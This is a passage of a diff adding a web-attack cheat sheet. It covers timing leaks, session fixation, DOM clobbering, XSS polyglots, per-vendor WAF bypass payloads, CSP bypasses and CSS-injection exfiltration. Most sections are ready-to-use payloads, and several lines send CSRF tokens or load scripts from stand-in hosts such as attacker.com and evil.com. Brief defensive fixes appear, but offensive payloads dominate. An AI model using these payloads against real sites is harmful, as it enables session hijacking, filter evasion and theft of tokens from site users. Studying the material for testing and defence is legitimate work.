+
return performance.now() - start;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// If search for "admin_secret" takes 200ms vs 50ms for "nonexistent"
|
|
68
|
+
// → "admin_secret" has results → information leaked
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Amplification Techniques
|
|
72
|
+
|
|
73
|
+
- Use search queries that return large result sets → measurable timing difference
|
|
74
|
+
- Combine with slow backend operations (regex search, DB full-scan)
|
|
75
|
+
- Frame counting: `window.length` reveals iframe count on cross-origin page
|
|
76
|
+
|
|
77
|
+
### Defense
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
Cache-Control: no-store
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
Prevent timing oracle via cached vs uncached response times. Also: do not use predictable resource names (e.g., `/users/alice/avatar.png`).
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## 5. Session Fixation via XSS
|
|
88
|
+
|
|
89
|
+
When the application does not regenerate session IDs after login:
|
|
90
|
+
|
|
91
|
+
**Attack flow**:
|
|
92
|
+
1. Attacker obtains a valid (unauthenticated) session ID
|
|
93
|
+
2. Attacker forces victim's browser to use this session ID:
|
|
94
|
+
```
|
|
95
|
+
https://target.com/setcookie.php?PHPSESSID=attacker_known_value
|
|
96
|
+
```
|
|
97
|
+
3. Victim logs in — the pre-set session ID is now authenticated
|
|
98
|
+
4. Attacker uses the same session ID → authenticated as victim
|
|
99
|
+
|
|
100
|
+
**XSS variant**: inject `document.cookie = "PHPSESSID=FIXED_VALUE"` via stored XSS before victim logs in.
|
|
101
|
+
|
|
102
|
+
**Fix**: `session_regenerate_id(true)` after authentication.
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## 6. DOM Clobbering
|
|
107
|
+
|
|
108
|
+
When CSP blocks inline scripts but allows named HTML elements:
|
|
109
|
+
|
|
110
|
+
```html
|
|
111
|
+
<form id="x"><output id="y">payload</output></form>
|
|
112
|
+
<!-- Now document.x.y.value === "payload" -->
|
|
113
|
+
<!-- If app code does: element.innerHTML = document.x.y.value → XSS -->
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
Useful when the application trusts DOM properties derived from element IDs/names.
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## 7. XSS POLYGLOT PAYLOADS
|
|
121
|
+
|
|
122
|
+
```javascript
|
|
123
|
+
// 0xsobky universal:
|
|
124
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
|
125
|
+
|
|
126
|
+
// s0md3v:
|
|
127
|
+
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
|
|
128
|
+
|
|
129
|
+
// brutelogic:
|
|
130
|
+
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26LT;LT;*/prompt()//
|
|
131
|
+
|
|
132
|
+
// Polyglot for multiple contexts:
|
|
133
|
+
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse
|
|
134
|
+
over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## 8. WAF BYPASS BY VENDOR
|
|
140
|
+
|
|
141
|
+
### Cloudflare
|
|
142
|
+
|
|
143
|
+
```html
|
|
144
|
+
<svg onload=prompt``>
|
|
145
|
+
<!-- Use onnull, onrandom (unknown event handlers pass through) -->
|
|
146
|
+
<img src=x onnull=alert(1)>
|
|
147
|
+
<!-- Entity encoding: -->
|
|
148
|
+
<a href="javascript:alert(1)">click</a>
|
|
149
|
+
<!-- Tab/newline in javascript: scheme -->
|
|
150
|
+
<a href="java
|
|
151
|
+
script:alert(1)">click</a>
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
### Akamai
|
|
155
|
+
|
|
156
|
+
```html
|
|
157
|
+
</script><base href="javascript:/a]/-alert(1)//">
|
|
158
|
+
<dETAILS open oNtoggle=alert(1)>
|
|
159
|
+
<!-- Mutation: -->
|
|
160
|
+
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### Incapsula (Imperva)
|
|
164
|
+
|
|
165
|
+
```html
|
|
166
|
+
<!-- jQuery-based bypass: -->
|
|
167
|
+
<script>$.globalEval("al"+"ert(1)")</script>
|
|
168
|
+
<!-- Data URI in object: -->
|
|
169
|
+
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
### WordFence (WordPress)
|
|
173
|
+
|
|
174
|
+
```html
|
|
175
|
+
<!-- Entity encoding javascript: -->
|
|
176
|
+
<a href="javascript:alert(1)">click</a>
|
|
177
|
+
<!-- Unicode escapes: -->
|
|
178
|
+
<img src=x onerror="alert(1)">
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
### Fortiweb
|
|
182
|
+
|
|
183
|
+
```html
|
|
184
|
+
<!-- Unicode tag bypass: -->
|
|
185
|
+
\u003e\u003cscript\u003ealert(1)\u003c/script\u003e
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## 9. CSP BYPASS TECHNIQUES
|
|
191
|
+
|
|
192
|
+
### Common CSP Bypasses
|
|
193
|
+
|
|
194
|
+
```
|
|
195
|
+
# If 'unsafe-inline' is allowed → standard XSS works
|
|
196
|
+
|
|
197
|
+
# If script-src includes CDN with JSONP:
|
|
198
|
+
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script>
|
|
199
|
+
|
|
200
|
+
# If script-src includes 'self' + file upload:
|
|
201
|
+
Upload JS file → <script src="/uploads/evil.js"></script>
|
|
202
|
+
|
|
203
|
+
# If base-uri not restricted:
|
|
204
|
+
<base href="https://attacker.com/">
|
|
205
|
+
<script src="/js/app.js"></script> <!-- Fetches from attacker.com -->
|
|
206
|
+
|
|
207
|
+
# If script-src allows data: scheme:
|
|
208
|
+
<script src="data:text/javascript,alert(1)"></script>
|
|
209
|
+
|
|
210
|
+
# If strict-dynamic is used without nonce:
|
|
211
|
+
<script>document.createElement('script').src='//evil.com/x.js'</script>
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### DOM Clobbering for CSP Bypass
|
|
215
|
+
|
|
216
|
+
```html
|
|
217
|
+
<!-- Clobber variables used by CSP-nonce scripts -->
|
|
218
|
+
<a id="config" href="javascript:alert(1)">
|
|
219
|
+
<form id="config"><input name="url" value="javascript:alert(1)"></form>
|
|
220
|
+
|
|
221
|
+
<!-- Multi-level clobbering: x.y.value -->
|
|
222
|
+
<a id=x><a id=x name=y href="javascript:alert(1)">
|
|
223
|
+
<!-- document.getElementById('x') returns HTMLCollection -->
|
|
224
|
+
<!-- x.y.href = "javascript:alert(1)" -->
|
|
225
|
+
|
|
226
|
+
<!-- DomPurify bypass with cid: protocol -->
|
|
227
|
+
<a id=x href="cid:alert(1)">
|
|
228
|
+
<!-- Some sanitizers allow cid: scheme -->
|
|
229
|
+
|
|
230
|
+
<!-- 3-level deep clobbering via iframe -->
|
|
231
|
+
<iframe name=x srcdoc="<a id=y><a id=y name=z href='javascript:alert(1)'>">
|
|
232
|
+
<!-- Access: x.y.z.href -->
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## 10. CSS INJECTION DATA EXFILTRATION
|
|
238
|
+
|
|
239
|
+
When you can inject CSS but NOT JavaScript (common with CSP `style-src 'unsafe-inline'`):
|
|
240
|
+
|
|
241
|
+
### Attribute Selector Brute-Force
|
|
242
|
+
|
|
243
|
+
```css
|
|
244
|
+
/* Extract CSRF token or input values character by character: */
|
|
245
|
+
input[name="csrf"][value^="a"] { background: url(https://attacker.com/?token=a); }
|
|
246
|
+
input[name="csrf"][value^="b"] { background: url(https://attacker.com/?token=b); }
|
|
247
|
+
/* ... for each character ... */
|
|
248
|
+
input[name="csrf"][value^="ab"] { background: url(https://attacker.com/?token=ab); }
|
|
249
|
+
/* Server receives callback revealing the token prefix that matched */
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
### @font-face + unicode-range Side Channel
|
|
253
|
+
|
|
254
|
+
```css
|
|
255
|
+
/* Detect specific characters in text nodes: */
|
|
256
|
+
@font-face { font-family: probe; src: url(https://attacker.com/?char=A); unicode-range: U+0041; }
|
|
257
|
+
@font-face { font-family: probe; src: url(https://attacker.com/?char=B); unicode-range: U+0042; }
|
|
258
|
+
/* Apply to target element: */
|
|
259
|
+
.secret-text { font-family: probe; }
|
|
260
|
+
/* Browser only loads font for characters that actually appear in the text */
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
### Ligature Width Side Channel
|
|
264
|
+
|
|
265
|
+
```css
|
|
266
|
+
/* Create custom font where specific character sequences have different widths */
|
|
267
|
+
/* Use CSS to detect element width changes → infer text content */
|
|
268
|
+
/* More complex but works for text nodes that attribute selectors can't reach */
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
### Sequential Import Chaining
|
|
272
|
+
|
|
273
|
+
```css
|
|
274
|
+
/* @import chain for multi-round extraction: */
|
|
275
|
+
@import url(https://attacker.com/round1.css);
|
|
276
|
+
/* Server returns CSS with selectors for next character based on round 1 results */
|
|
277
|
+
/* Each round narrows down the token value */
|
|
278
|
+
```
|